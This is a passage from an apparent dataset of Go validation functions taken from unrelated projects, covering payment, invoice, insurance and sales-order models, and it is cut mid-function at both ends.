goa.MergeErrors(err, goa.MissingAttributeError(`response`, \\\"object\\\"))\\n\\t}\\n\\n\\tif mt.Fee != nil {\\n\\t\\tif err2 := mt.Fee.Validate(); err2 != nil {\\n\\t\\t\\terr = goa.MergeErrors(err, err2)\\n\\t\\t}\\n\\t}\\n\\tif mt.FromAddress != nil {\\n\\t\\tif err2 := mt.FromAddress.Validate(); err2 != nil {\\n\\t\\t\\terr = goa.MergeErrors(err, err2)\\n\\t\\t}\\n\\t}\\n\\tif ok := goa.ValidatePattern(`^ins_`, mt.ID); !ok {\\n\\t\\terr = goa.MergeErrors(err, goa.InvalidPatternError(`response.id`, mt.ID, `^ins_`))\\n\\t}\\n\\tif !(mt.Mode == \\\"test\\\" || mt.Mode == \\\"production\\\") {\\n\\t\\terr = goa.MergeErrors(err, goa.InvalidEnumValueError(`response.mode`, mt.Mode, []interface{}{\\\"test\\\", \\\"production\\\"}))\\n\\t}\\n\\tif ok := goa.ValidatePattern(`^Insurance$`, mt.Object); !ok {\\n\\t\\terr = goa.MergeErrors(err, goa.InvalidPatternError(`response.object`, mt.Object, `^Insurance$`))\\n\\t}\\n\\tif mt.Status != nil {\\n\\t\\tif !(*mt.Status == \\\"cancelled\\\" || *mt.Status == \\\"failed\\\" || *mt.Status == \\\"purchased\\\" || *mt.Status == \\\"pending\\\" || *mt.Status == \\\"new\\\") {\\n\\t\\t\\terr = goa.MergeErrors(err, goa.InvalidEnumValueError(`response.status`, *mt.Status, []interface{}{\\\"cancelled\\\", \\\"failed\\\", \\\"purchased\\\", \\\"pending\\\", \\\"new\\\"}))\\n\\t\\t}\\n\\t}\\n\\tif mt.ToAddress != nil {\\n\\t\\tif err2 := mt.ToAddress.Validate(); err2 != nil {\\n\\t\\t\\terr = goa.MergeErrors(err, err2)\\n\\t\\t}\\n\\t}\\n\\tif mt.Tracker != nil {\\n\\t\\tif err2 := mt.Tracker.Validate(); err2 != nil {\\n\\t\\t\\terr = goa.MergeErrors(err, err2)\\n\\t\\t}\\n\\t}\\n\\treturn\\n}\",\n \"func (m *LineItem) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateDigitalItems(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateGiftCertificates(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validatePhysicalItems(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateVirtualItems(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (rdAddendumB *ReturnDetailAddendumB) Validate() error {\\n\\tif err := rdAddendumB.fieldInclusion(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif rdAddendumB.recordType != \\\"33\\\" {\\n\\t\\tmsg := fmt.Sprintf(msgRecordType, 33)\\n\\t\\treturn &FieldError{FieldName: \\\"recordType\\\", Value: rdAddendumB.recordType, Msg: msg}\\n\\t}\\n\\tif err := rdAddendumB.isAlphanumericSpecial(rdAddendumB.PayorBankName); err != nil {\\n\\t\\treturn &FieldError{FieldName: \\\"PayorBankName\\\", Value: rdAddendumB.PayorBankName, Msg: err.Error()}\\n\\t}\\n\\tif err := rdAddendumB.isAlphanumericSpecial(rdAddendumB.PayorAccountName); err != nil {\\n\\t\\treturn &FieldError{FieldName: \\\"PayorAccountName\\\", Value: rdAddendumB.PayorAccountName, Msg: err.Error()}\\n\\t}\\n\\n\\tif date := rdAddendumB.PayorBankBusinessDate; !date.IsZero() {\\n\\t\\t// optional field - if present, year must be between 1993 and 9999\\n\\t\\tif date.Year() < 1993 || date.Year() > 9999 {\\n\\t\\t\\treturn &FieldError{FieldName: \\\"PayorBankBusinessDate\\\",\\n\\t\\t\\t\\tValue: rdAddendumB.PayorBankBusinessDateField(), Msg: msgInvalidDate + \\\": year must be between 1993 and 9999\\\"}\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (m *DocumentPayment) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateAmount(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateDocumentID(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validatePaymentAt(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateProvider(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateReference(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateType(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (p *ProofOfServiceDoc) Validate(_ *pop.Connection) (*validate.Errors, error) {\\n\\treturn validate.Validate(\\n\\t\\t&validators.UUIDIsPresent{Field: p.PaymentRequestID, Name: \\\"PaymentRequestID\\\"},\\n\\t), nil\\n}\",\n \"func (i *Inventory) Validate() error {\\n\\n\\t// TODO: implement\\n\\treturn nil\\n}\",\n \"func (m InvoiceDeliveryMethod) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\t// value enum\\n\\tif err := m.validateInvoiceDeliveryMethodEnum(\\\"\\\", \\\"body\\\", m); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *Discount422Error) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *Purchase) Validate() error {\\n\\tif m == nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// no validation rules for UserId\\n\\n\\tif v, ok := interface{}(m.GetTimestamp()).(interface{ Validate() error }); ok {\\n\\t\\tif err := v.Validate(); err != nil {\\n\\t\\t\\treturn PurchaseValidationError{\\n\\t\\t\\t\\tfield: \\\"Timestamp\\\",\\n\\t\\t\\t\\treason: \\\"embedded message failed validation\\\",\\n\\t\\t\\t\\tcause: err,\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\t// no validation rules for Items\\n\\n\\t// no validation rules for Amount\\n\\n\\t// no validation rules for SrcAddressId\\n\\n\\t// no validation rules for DestAddressId\\n\\n\\t// no validation rules for MerchantId\\n\\n\\t// no validation rules for DistanceInKilometers\\n\\n\\t// no validation rules for ShippingId\\n\\n\\treturn nil\\n}\",\n \"func (p paymentJson) Validate() error {\\n\\tif p.AccountId == \\\"\\\" {\\n\\t\\treturn errors.New(\\\"missing customer id\\\")\\n\\t}\\n\\tif p.Amount == 0 {\\n\\t\\treturn errors.New(\\\"missing amount\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func (w Warrant) Validate() error {\\n\\tif len(w.FirstName) == 0 {\\n\\t\\treturn errors.New(\\\"missing first name element\\\")\\n\\t}\\n\\tif len(w.LastName) == 0 {\\n\\t\\treturn errors.New(\\\"missing last name element\\\")\\n\\t}\\n\\tif len(w.Civility) == 0 {\\n\\t\\treturn errors.New(\\\"missing civility element\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *Voucher) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateAttachment(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateChanges(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateDate(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateDescription(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateDocument(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateEdiDocument(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateNumber(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validatePostings(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateReverseVoucher(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateTempNumber(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateVoucherType(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateYear(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *LineItemVirtualItemsItems0) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func (m *Reservation) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateApproved(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateBegin(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateEnd(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateUsername(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *Refund) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateAdditionalRecipients(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateAmountMoney(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateCreatedAt(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateID(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateLocationID(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateProcessingFeeMoney(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateReason(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateStatus(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateTenderID(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateTransactionID(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m FilledQuantity) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func (m *Intake) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateGovernance(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *GetInteractionsInviteInviteCodeStatusOKBody) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\t// validation for a type composition with models.Envelope\\n\\tif err := o.Envelope.Validate(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := o.validateData(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *SovrenParserModelSovrenDateWithParts) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateDate(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (doc *Document) Valid() error {\\n\\tif doc.ID == \\\"\\\" {\\n\\t\\treturn errors.New(\\\"missing ID\\\")\\n\\t}\\n\\n\\tif err := doc.Resource.Change.Valid(); err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"invalid Resource.Change\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func validateNewInvoideData(stub shim.ChaincodeStubInterface, args []string) []byte {\\n\\tvar output string\\n\\tmsg := validateInvoiceDetails(stub, args)\\n\\n\\tif msg == \\\"\\\" {\\n\\t\\toutput = \\\"{\\\\\\\"validation\\\\\\\":\\\\\\\"Success\\\\\\\",\\\\\\\"msg\\\\\\\" : \\\\\\\"\\\\\\\" }\\\"\\n\\t} else {\\n\\t\\toutput = \\\"{\\\\\\\"validation\\\\\\\":\\\\\\\"Failure\\\\\\\",\\\\\\\"msg\\\\\\\" : \\\\\\\"\\\" + msg + \\\"\\\\\\\" }\\\"\\n\\t}\\n\\treturn []byte(output)\\n}\",\n \"func (o *CreateProductUnprocessableEntityBody) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func (inf *Inflation) Validate() error {\\n\\t// no required fields, return nil.\\n\\treturn nil\\n}\",\n \"func (mt *EasypostInsurances) Validate() (err error) {\\n\\tif mt.Insurances == nil {\\n\\t\\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \\\"insurances\\\"))\\n\\t}\\n\\n\\tfor _, e := range mt.Insurances {\\n\\t\\tif e.ID == \\\"\\\" {\\n\\t\\t\\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response.insurances[*]`, \\\"id\\\"))\\n\\t\\t}\\n\\t\\tif e.Object == \\\"\\\" {\\n\\t\\t\\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response.insurances[*]`, \\\"object\\\"))\\n\\t\\t}\\n\\n\\t\\tif e.Fee != nil {\\n\\t\\t\\tif err2 := e.Fee.Validate(); err2 != nil {\\n\\t\\t\\t\\terr = goa.MergeErrors(err, err2)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif e.FromAddress != nil {\\n\\t\\t\\tif err2 := e.FromAddress.Validate(); err2 != nil {\\n\\t\\t\\t\\terr = goa.MergeErrors(err, err2)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif ok := goa.ValidatePattern(`^ins_`, e.ID); !ok {\\n\\t\\t\\terr = goa.MergeErrors(err, goa.InvalidPatternError(`response.insurances[*].id`, e.ID, `^ins_`))\\n\\t\\t}\\n\\t\\tif !(e.Mode == \\\"test\\\" || e.Mode == \\\"production\\\") {\\n\\t\\t\\terr = goa.MergeErrors(err, goa.InvalidEnumValueError(`response.insurances[*].mode`, e.Mode, []interface{}{\\\"test\\\", \\\"production\\\"}))\\n\\t\\t}\\n\\t\\tif ok := goa.ValidatePattern(`^Insurance$`, e.Object); !ok {\\n\\t\\t\\terr = goa.MergeErrors(err, goa.InvalidPatternError(`response.insurances[*].object`, e.Object, `^Insurance$`))\\n\\t\\t}\\n\\t\\tif e.Status != nil {\\n\\t\\t\\tif !(*e.Status == \\\"cancelled\\\" || *e.Status == \\\"failed\\\" || *e.Status == \\\"purchased\\\" || *e.Status == \\\"pending\\\" || *e.Status == \\\"new\\\") {\\n\\t\\t\\t\\terr = goa.MergeErrors(err, goa.InvalidEnumValueError(`response.insurances[*].status`, *e.Status, []interface{}{\\\"cancelled\\\", \\\"failed\\\", \\\"purchased\\\", \\\"pending\\\", \\\"new\\\"}))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif e.ToAddress != nil {\\n\\t\\t\\tif err2 := e.ToAddress.Validate(); err2 != nil {\\n\\t\\t\\t\\terr = goa.MergeErrors(err, err2)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif e.Tracker != nil {\\n\\t\\t\\tif err2 := e.Tracker.Validate(); err2 != nil {\\n\\t\\t\\t\\terr = goa.MergeErrors(err, err2)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn\\n}\",\n \"func (o *DetailsItems0) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func (o *GetVersionOKBody) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\t// validation for a type composition with models.Envelope\\n\\tif err := o.Envelope.Validate(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *AcceptInvitationBody) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := o.validateAlias(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (r *createRequest) Validate() *validation.Output {\\n\\to := &validation.Output{Valid: true}\\n\\tvar err error\\n\\tvar PartnerID int64\\n\\tvar partner *model.Partnership\\n\\tvar sorder *model.SalesOrder\\n\\tvar code string\\n\\n\\t// cek partner id ada atau tidak\\n\\tPartnerID, err = common.Decrypt(r.CustomerID)\\n\\tif err != nil {\\n\\t\\to.Failure(\\\"customer_id.invalid\\\", \\\"Partnership id is invalid\\\")\\n\\t}\\n\\n\\t// cek partner ecist or not\\n\\tpartner, err = partnership.GetPartnershipByField(\\\"id\\\", PartnerID)\\n\\n\\tif err != nil || partner == nil || partner.IsDeleted == 1 || partner.IsArchived == 1 {\\n\\t\\to.Failure(\\\"customer_id.invalid\\\", \\\"Partnership id is not found\\\")\\n\\t} else {\\n\\t\\tcode, _ = CodeGen(partner.IsDefault == 1)\\n\\n\\t\\tif partner.PartnershipType != \\\"customer\\\" {\\n\\t\\t\\to.Failure(\\\"customer_id\\\", \\\"Customer needed to have partner type customer not supplier\\\")\\n\\t\\t}\\n\\n\\t\\tif partner.IsDefault == int8(1) {\\n\\t\\t\\tif r.AutoFullfilment == int8(0) {\\n\\t\\t\\t\\to.Failure(\\\"auto_fullfilment\\\", \\\"auto fullfilment need to be filled if Customer is walk in\\\")\\n\\t\\t\\t}\\n\\t\\t\\tif r.AutoInvoice == int8(0) {\\n\\t\\t\\t\\to.Failure(\\\"auto_invoice\\\", \\\"auto invoice need to be filled if Customer is walk in\\\")\\n\\t\\t\\t}\\n\\t\\t\\tif r.EtaDate.IsZero() {\\n\\t\\t\\t\\to.Failure(\\\"eta_date\\\", \\\"ETA Date need to be filled if Customer is walk in\\\")\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\tif r.ShipmentAddress == \\\"\\\" {\\n\\t\\t\\t\\to.Failure(\\\"shipment_address\\\", \\\"Shipment address is required\\\")\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tif partner.OrderRule == \\\"one_bill\\\" {\\n\\t\\t\\tvar soContainer *model.SalesOrder\\n\\t\\t\\torm.NewOrm().Raw(\\\"SELECT * FROM sales_order WHERE customer_id = ? AND document_status = 'new' OR document_status = 'active' AND invoice_status = 'active';\\\", PartnerID).QueryRow(&soContainer)\\n\\t\\t\\tif soContainer != nil {\\n\\t\\t\\t\\to.Failure(\\\"customer_id\\\", \\\"Partner still have unfinished invoice\\\")\\n\\t\\t\\t}\\n\\t\\t} else if partner.OrderRule == \\\"plafon\\\" {\\n\\t\\t\\tcurrent := partner.TotalDebt + r.TotalCharge\\n\\t\\t\\tif current >= partner.MaxPlafon {\\n\\t\\t\\t\\to.Failure(\\\"customer_id\\\", \\\"Partnership has already reached given max plafon\\\")\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tif r.IsPaid == 1 {\\n\\t\\tif r.AutoInvoice != 1 {\\n\\t\\t\\to.Failure(\\\"auto_invoice\\\", \\\"Auto invoice must be checked if Auto Paid is checked\\\")\\n\\t\\t}\\n\\t}\\n\\n\\tso := &model.SalesOrder{Code: code}\\n\\n\\tif err := so.Read(\\\"Code\\\"); err == nil {\\n\\t\\to.Failure(\\\"code\\\", \\\"Code sales order is already being used\\\")\\n\\t} else {\\n\\t\\tr.Code = code\\n\\t}\\n\\n\\ttz := time.Time{}\\n\\tif r.EtaDate == tz {\\n\\t\\to.Failure(\\\"eta_date\\\", \\\"Field is required.\\\")\\n\\t}\\n\\n\\t// cek status reference id\\n\\tif r.ReferencesID != \\\"\\\" {\\n\\t\\trefID, err := common.Decrypt(r.ReferencesID)\\n\\t\\tif err != nil {\\n\\t\\t\\to.Failure(\\\"references_id\\\", \\\"References id is not valid\\\")\\n\\t\\t}\\n\\t\\tvar emptyLoad []string\\n\\t\\tsorder, err = GetDetailSalesOrder(refID, emptyLoad)\\n\\t\\tif err != nil {\\n\\t\\t\\to.Failure(\\\"references_id\\\", \\\"References is not found\\\")\\n\\t\\t} else {\\n\\t\\t\\tif sorder.DocumentStatus != \\\"approved_cancel\\\" {\\n\\t\\t\\t\\to.Failure(\\\"references_id\\\", \\\"References document status is not cancel\\\")\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tcheckDuplicate := make(map[string]bool)\\n\\tvar checkVariant = make(map[int64]*model.ItemVariant)\\n\\n\\tfor _, row := range r.SalesOrderItem {\\n\\t\\tIVariantID, _ := common.Decrypt(row.ItemVariantID)\\n\\t\\tivar := &model.ItemVariant{ID: IVariantID}\\n\\t\\tivar.Read(\\\"ID\\\")\\n\\t\\t////////////////////////////////\\n\\t\\tif checkVariant[ivar.ID] == nil {\\n\\t\\t\\tivar.CommitedStock -= row.Quantity\\n\\t\\t\\tcheckVariant[ivar.ID] = ivar\\n\\t\\t} else {\\n\\t\\t\\tvariant := checkVariant[ivar.ID]\\n\\t\\t\\tvariant.CommitedStock -= row.Quantity\\n\\t\\t\\tcheckVariant[ivar.ID] = variant\\n\\t\\t}\\n\\t\\t////////////////////////////////\\n\\t}\\n\\n\\t// cek setiap sales order item\\n\\tfor i, row := range r.SalesOrderItem {\\n\\t\\tvar UnitA float64\\n\\t\\tvar PricingID, IVariantID int64\\n\\t\\tvar ItemVariant *model.ItemVariant\\n\\t\\tvar IVPrice *model.ItemVariantPrice\\n\\t\\t// cek item variant,pricing type dan item variant price\\n\\t\\tPricingID, err = common.Decrypt(row.PricingType)\\n\\n\\t\\tif err != nil {\\n\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.pricing_type.invalid\\\", i), \\\"Pricing type id is invalid\\\")\\n\\t\\t}\\n\\n\\t\\tIVariantID, err = common.Decrypt(row.ItemVariantID)\\n\\t\\tif err != nil {\\n\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.item_variant.invalid\\\", i), \\\"Item Variant id is invalid\\\")\\n\\t\\t}\\n\\n\\t\\tvar pt = &model.PricingType{ID: PricingID}\\n\\t\\tpt.Read(\\\"ID\\\")\\n\\t\\tvar iv = &model.ItemVariant{ID: IVariantID}\\n\\t\\tiv.Read(\\\"ID\\\")\\n\\n\\t\\tIVPrice, err = getItemVariantPricing(pt, iv)\\n\\t\\tif err == nil {\\n\\t\\t\\tif pt.ParentType != nil {\\n\\t\\t\\t\\tif pt.RuleType == \\\"increment\\\" {\\n\\t\\t\\t\\t\\tif pt.IsPercentage == int8(1) {\\n\\t\\t\\t\\t\\t\\ttemp := (pt.Nominal * IVPrice.UnitPrice) / float64(100)\\n\\t\\t\\t\\t\\t\\tUnitA = IVPrice.UnitPrice + temp\\n\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\tUnitA = IVPrice.UnitPrice + pt.Nominal\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif row.UnitPrice < UnitA {\\n\\t\\t\\t\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.unit_price.invalid\\\", i), \\\"Unit price is too small\\\")\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tif pt.IsPercentage == int8(1) {\\n\\n\\t\\t\\t\\t\\t\\ttemp := (pt.Nominal * IVPrice.UnitPrice) / float64(100)\\n\\t\\t\\t\\t\\t\\tUnitA = IVPrice.UnitPrice - temp\\n\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\tUnitA = IVPrice.UnitPrice - pt.Nominal\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif UnitA < 0 {\\n\\t\\t\\t\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.pricing_type.invalid\\\", i), \\\"Pricing type can make price become zero\\\")\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tif row.UnitPrice < UnitA {\\n\\t\\t\\t\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.unit_price.invalid\\\", i), \\\"Unit price is too small\\\")\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tif row.UnitPrice < IVPrice.UnitPrice {\\n\\t\\t\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.unit_price.invalid\\\", i), \\\"Unit price is too small\\\")\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.unit_price.invalid\\\", i), \\\"item variant price doesn't exist\\\")\\n\\t\\t}\\n\\n\\t\\tItemVariant, err = inventory.GetDetailItemVariant(\\\"id\\\", IVariantID)\\n\\t\\tif err != nil || ItemVariant == nil || ItemVariant.IsDeleted == int8(1) || ItemVariant.IsArchived == int8(1) {\\n\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.item_variant_id.invalid\\\", i), \\\"Item variant id not found\\\")\\n\\t\\t} else {\\n\\n\\t\\t\\t// cek stock dari item variant sama quantity soi\\n\\t\\t\\tif (checkVariant[ItemVariant.ID].AvailableStock - ItemVariant.CommitedStock) < row.Quantity {\\n\\t\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.quantity.invalid\\\", i), \\\"Stock item is not enough to be sold\\\")\\n\\t\\t\\t}\\n\\n\\t\\t\\t//check duplicate item variant id\\n\\t\\t\\tif checkDuplicate[row.ItemVariantID] == true {\\n\\t\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.item_variant_id.invalid\\\", i), \\\" item variant id duplicate\\\")\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tcheckDuplicate[row.ItemVariantID] = true\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tdiscamount := (row.UnitPrice * float64(row.Discount)) / float64(100)\\n\\t\\tcuramount := row.UnitPrice * float64(row.Quantity)\\n\\t\\tsubtotal := common.FloatPrecision(curamount-discamount, 0)\\n\\n\\t\\tr.TotalPrice += subtotal\\n\\t}\\n\\n\\tif r.IsPercentageDiscount == int8(1) {\\n\\t\\tif r.Discount < 0 || r.Discount > float32(100) {\\n\\t\\t\\to.Failure(\\\"discount\\\", \\\"discount is less than and equal 0 or greater than 100\\\")\\n\\t\\t}\\n\\t}\\n\\n\\treturn o\\n}\",\n \"func (o *OrderItem) Validate(tx *pop.Connection) (*validate.Errors, error) {\\n\\treturn validate.NewErrors(), nil\\n}\",\n \"func (r *Sub1099A) Validate() error {\\n\\treturn utils.Validate(r, config.Sub1099ALayout, config.Sub1099AType)\\n}\",\n \"func validateNewInvoideData(stub shim.ChaincodeStubInterface, args []string) []byte {\\r\\n\\tvar output string\\r\\n\\tmsg := validateInvoiceDetails(stub, args)\\r\\n\\r\\n\\tif msg == \\\"\\\" {\\r\\n\\t\\toutput = \\\"{\\\\\\\"validation\\\\\\\":\\\\\\\"Success\\\\\\\",\\\\\\\"msg\\\\\\\" : \\\\\\\"\\\\\\\" }\\\"\\r\\n\\t} else {\\r\\n\\t\\toutput = \\\"{\\\\\\\"validation\\\\\\\":\\\\\\\"Failure\\\\\\\",\\\\\\\"msg\\\\\\\" : \\\\\\\"\\\" + msg + \\\"\\\\\\\" }\\\"\\r\\n\\t}\\r\\n\\treturn []byte(output)\\r\\n}\",\n \"func (it Item) Validate() error {\\n\\tvar err error\\n\\treturn err\\n}\",\n \"func (r *updateRequest) Validate() *validation.Output {\\n\\to := &validation.Output{Valid: true}\\n\\tvar err error\\n\\t// cek document status so\\n\\tif r.SalesOrder.DocumentStatus != \\\"new\\\" {\\n\\t\\to.Failure(\\\"document_status\\\", \\\"document_status should be new\\\")\\n\\t}\\n\\n\\tcheckDuplicate := make(map[string]bool)\\n\\tcheckVariant := make(map[int64]*model.ItemVariant)\\n\\n\\ttz := time.Time{}\\n\\tif r.EtaDate == tz {\\n\\t\\to.Failure(\\\"eta_date\\\", \\\"Field is required.\\\")\\n\\t}\\n\\n\\tfor _, row := range r.SalesOrderItem {\\n\\t\\tIVariantID, _ := common.Decrypt(row.ItemVariantID)\\n\\t\\tivar := &model.ItemVariant{ID: IVariantID}\\n\\t\\tivar.Read(\\\"ID\\\")\\n\\t\\t////////////////////////////////\\n\\t\\tif checkVariant[ivar.ID] == nil {\\n\\t\\t\\tivar.CommitedStock -= row.Quantity\\n\\t\\t\\tcheckVariant[ivar.ID] = ivar\\n\\t\\t} else {\\n\\t\\t\\tvariant := checkVariant[ivar.ID]\\n\\t\\t\\tvariant.CommitedStock -= 